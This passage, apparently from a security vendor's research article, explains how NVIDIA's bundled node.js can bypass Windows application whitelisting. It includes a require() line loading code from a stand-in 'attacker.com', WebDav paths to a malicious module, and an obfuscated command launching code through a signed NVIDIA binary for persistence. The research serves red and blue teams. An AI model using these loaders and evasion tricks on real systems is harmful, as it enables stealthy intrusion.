Here Microsoft’s control.exe is used to load the library, however, it can also be loaded via node js (and using the fs-module it’s possible to create the ADS).
Another possibility is to overwrite an existing library if application whitelisting was configured only based on paths (because of updates).
Here are some additional methods which I tried to avoide the file write at all:
Some methods which I tried for in-memory files
UNC paths:
require("\\\\attacker.com\\malicious.js")
The code first tries to load the addon via SMB (port 445) and use WebDav (port 80) as fall-back. Since outgoing SMB traffic is in most environments forbidden, it would be good to directly access the data via WebDav (and it’s possible to create a WebDav server in JavaScript with node.js, but then firewall problems can occur). This is possible via paths such as the following two:
\\?\GLOBALROOT\Device\WebDavRedirector\attacker.com\malicious.node
\\;WebDavRedirector\attacker.com\malicious.node
A good explanation why these paths work can be found at [8].
However, both path formats are not allowed inside node.js (the code later calls lstat which throws a file not found exception). Moreover, Microsoft internally writes the file to %localappdata%, making the approach useless to achieve file-less exploitation.
Another idea was to abuse named pipes which can be created with node.js code, however, named pipes are not seekable and therefore LoadLibrary() / require() fail.
Calling CreateFilewith FILE_ATTRIBUTE_TEMPORARY and FILE_FLAG_DELETE_ON_CLOSE creates in most cases an in-memory file, however, node.js does not provide a way to pass these flags inside JavaScript code.
For people wondering why NVIDIA ships with node.js
At startup, NVIDIA starts a webserver via node.js (providing functionality like the above mentioned webcam control) on a randomized port. To protect against attacks a random secret cookie is created and must be passed to interact with the service. The information about the used port number and cookie value can be extracted from the following file:
%localappdata%\NVIDIA Corporation\NvNode\nodejs.json
Conclusion
For red teamers, it’s the recommended approach to use the fs module from node.js to write a loader addon to disk which gives access to the Microsoft Windows API from JavaScript code. Then JavaScript code can be used to download the (encrypted) payload from the internet and with the Windows API the JavaScript code can reflectively load the payload into its own process space and execute it.
Node.js itself can be started via one of the public known techniques (see our slides at [1]), for example .chm, .lnk, .js, .jse, Java applets, macros, from an exploited process, pass-the-hash and so on.
Standard obfuscation tricks can be used to further hide the invocation. For example, the following code starts calc.exe but tries to further hide:
echo "outdated settings;set colors=";c=
['\162\145\161\165\151\162\145','\143\150\151\154\144\137\160\162\157\143\145\163\163','\145\170\145\143',
'\143\141\154\143'];global[c[0]](c[1])[c[2]](c[3]);"; set
specialChars='/*&^"|;"%ProgramFiles(x86)%\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe"
-%windir:~4,-5%
Such code can be used as persistence mechanism (auto start) because the called binary is signed by NVIDIA and will be considered as safe. Of course, additional anti-monitoring tricks such as ^ or %programdata:~0,-20% can be used somewhere inside the above command line to further prevent detection, however, such code is in my opinion traitorous.
For security consultants, it’s recommended to search for node.js binaries (file size > 10 MB and binary contains Node.js strings) during client security audits to identify other vendors which ship node.js to clients.
For blue teamers, it’s recommended to remove the file from the whitelist (if possible) or at least monitor it’s invocation.
This research was done by René Freingruber (@ReneFreingruber) on behalf of SEC Consult Vulnerability Lab.
Sources
[1] https://cansecwest.com/slides/2016/CSW2016_Freingruber_Bypassing_Application_Whitelisting.pdf
[2] http://subt0x10.blogspot.co.at/
[3] https://enigma0x3.net/
[4] http://www.exploit-monday.com
[5] https://nodejs.org/api/addons.html
[6] https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
[7] http://insert-script.blogspot.co.at/2012/11/hidden-alternative-data-streams.html
[8] https://googleprojectzero.blogspot.co.at/2016/02/the-definitive-guide-on-win32-to-nt.html